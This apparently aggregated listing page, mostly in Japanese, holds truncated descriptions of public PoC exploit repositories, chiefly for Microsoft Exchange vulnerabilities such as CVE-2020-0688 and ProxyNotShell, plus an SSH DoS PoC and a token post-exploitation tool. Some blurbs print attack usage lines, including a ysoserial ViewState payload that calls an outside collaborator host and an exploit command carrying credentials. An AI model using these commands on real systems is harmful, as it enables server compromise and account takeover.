CVE-2025-26466

CVE-2025-26466 CVE-2025-26466 の PoC 作者: Fikret Can Gurbuz 使用方法 root@kitploit: python3 poc.py -i -p 手順は以下の通りです: 1. ポートに TCP 接続する 2. サーバーのバナーを受信する SSH-2.0-OpenSSHX.Xp1 3. クライアントバナーを送信する SSH-2.0-YourClient\r\n 4. wrapsshpacketbuildkexinit を送信する 5. サーバーの KEXINIT 応答を受信する 6. buildping の送信をループする ! KEX...

CVE-2025-53786

CVE-2025-53786 エクスプロイト このプロジェクトは、Microsoft Exchange Server ハイブリッド展開における重大な脆弱性（CVE-2025-53786）を標的とした概念実証（PoC）エクスプロイトを提供します。この脆弱性により、オンプレミスの Exchange サーバーに対する管理アクセス権を持つ攻撃者が特権を昇格させ、Azure Active Directory 統合を含むオンプレミス環境とクラウド環境の両方を侵害する可能性があります。 免責事項:...

Microsoft Exchange - Authentication Bypass

Microsoft Exchange Server Information Disclosure Vulnerability. This vulnerability enables an attacker to bypass authentication and gain access to the Exchange Server's internal. id: CVE-2021-33766 info: name: Microsoft Exchange - Authentication Bypass author: daffainfo severity: high description...

CVE-2020-0688

CVE-2020-0688 CVE-2020-0688Microsoft Exchange のデフォルト MachineKeySection の逆シリアル化の脆弱性 インストール手順: git を使用してダウンロード（git が必要）: git clone https://github.com/7heKnight/CVE-2020-0688 Zip ファイルをダウンロード: https://github.com/7heKnight/CVE-2020-0688/archive/refs/heads/main.zip pip install urllib3 requests...

conti-ransomware-writeup

Conti ランサムウェア解析レポート 概要 このリポジトリには、Microsoft Exchange サーバーを標的とした Conti ランサムウェア侵害 に関する完全な調査と技術的な解説が含まれています。 分析は Splunk 8.2.2 を使用して実施し、Windows Security、Sysmon、IIS のログソース全体で 28,145 件のイベント を調査し、完全な攻撃チェーンを再構築しました。 主な調査結果 悪用された 3 つの CVE を特定: CVE‑2020‑0796 SMBGhost CVE‑2018‑13374 CVE‑2018‑13379 永続化に使用された...

CVE-2020-0688

CVE-2020-0688 CVE-2020-0688: 固定された暗号鍵による Microsoft Exchange Server のリモートコード実行 実行方法 ysonet.exe: ここ からダウンロード HTTP サーバーを実行: root@kitploit: python3 -m http.server 8000 pwsh コマンド内の targeturl とあなたの IP アドレスを変更してください。 Python の依存関係をすべてインストールしてください。 python3 exploit.py を実行してください...

CVE-2023-36745

CVE-2023-36745 Microsoft Exchange Server CVE-2023-36745 RCE PoC。 例: root@kitploit: python3 exp.py -H exchange.webdxg.com -u webdxg.com\dddai -p 4IDF7LAU -s \192.168.237.131\Shares\ -c calc.exe コマンドは powershell -e に渡されます。...

exchange_proxylogon

このリポジトリには README がありません。...

CVE-2021-24085

Microsoft Exchange Server msExchEcpCanary クロスサイトリクエストフォージェリ 特権昇格の脆弱性 これはCVE-2021-24085の概念実証です。 1. poc.py は、内部に秘密鍵を含むターゲットの証明書ファイルをダウンロードします。 2. YellowCanary は、SIDに基づいて特定のユーザーのmsExchEcpCanary CSRFトークンを生成します。 3. poc.js は、アカウント乗っ取りを引き起こすCSRFエクスプロイトです。...

CVE-2026-89637

creationtimestamp| type| source ---|---|--- 2026-09-12 16:13:14+00:00| seen| https://infosec.exchange/users/vuldb/statuses/117258950167044126 2026-09-13 10:00:07+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvfdkxahaa2p...

106362522

106362522 針對近期微軟公布修補遭駭客攻擊的Exchange Server漏洞問題，台灣DEVCORE表示早在1月5日便已發現安全漏洞後，並且向微軟通報此項編號命名為「CVE-2021-26855 」，以及「CVE-2021-27065」的零日漏洞，同時也將此項漏洞稱為「ProxyLogon」。 此次揭露的「ProxyLogon」漏洞，是以無需驗證即可使用的遠端程式碼執行 Pre-Auth Remote Code Execution；Pre-Auth RCE零日漏洞Zero-day...

CVE-2021-42321

CVE-2021-42321 Microsoft Exchange Server の PoC パッチ:https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321...

cve-2020-0688

cve-2020-0688 cve-2020-0688 メールアドレス権限を持つユーザーでログインしても問題はありません。 ページソースから VIEWSTATEGENERATOR を取得 viewstateuserkey 値のために ASP.NETSessionId クッキーの値を取得 YSOをダウンロード root@kitploit: ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net" --validationalg="SHA1"...

NotProxyShellHunter

NotProxyShellHunter NotProxyShell CVE-2022-40140 & CVE-2022-41082 をチェック...

DHEater

DHEater DHEater は DHEat 攻撃（CVE-2002-20001）の概念実証実装です。TLS と SSH の両方で Diffie-Hellman ephemeral（DHE）または楕円曲線 Diffie-Hellman ephemeral（ECDHE）鍵交換を強制することで、サーバーの CPU を飽和させます。攻撃の詳細についてはプロジェクトページを参照するか、IEEE Access に掲載されている完全な技術論文をお読みください。 免責事項 DHEater は、防御目的の...

0dayex-checker

0dayex-checker 零日 Microsoft Exchange Server 检查器（虚拟补丁检查器）...

TokenMan

访问和刷新令牌套件。 Token Man 是一款使用 AAD 访问令牌和/或刷新令牌来支持后渗透活动的工具。 目录 用法 命令 Fetch Search Swap FOCI 应用程序客户端 ID 映射 AZ OAuth 用法 root@kitploit: usage: tokenman.py -h fetch,search,swap,az,oauth ... Token Man -- v0.1.1 positional arguments: fetch,search,swap,az,oauth Command fetch Retrieve data via Graph API searc...

ProxyNotShell-PoC

CVE-2022-41040 および CVE-2022-41082 用の動作する PoC（別名 ProxyNotShell） 要件: pip install requestsntlm2 requests 使用方法: root@kitploit: python pocaug3.py クレジット: ProxyShell PoC スクリプトの出典: https://blog.viettelcybersecurity.com/pwn2own-2021-microsoft-exchange-exploit-chain/ Gtsc のブログ記事...

SharpExchange

SharpExchange このコマンドラインツールは、C を使用して Microsoft Exchange EWS と対話できることを示す POC です。PowerShell 以外のツールでも実行できることを示しています。 はい、これはそれが可能であることを示すための単純な POC です。100% 完全ではありません。あなたの l33t な C コーダーまたはレッドチーマーのスキルを披露したいなら、プルリクエストを開いてください : これは教育目的のみです。悪用や違法行為には使用しないでください。 MS ドキュメント:...

CVE-2026-89494

creationtimestamp| type| source ---|---|--- 2026-09-12 00:00:32+00:00| seen| https://infosec.exchange/users/vuldb/statuses/117255125840040608 2026-09-13 07:50:05+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvf4cgq3bs2t...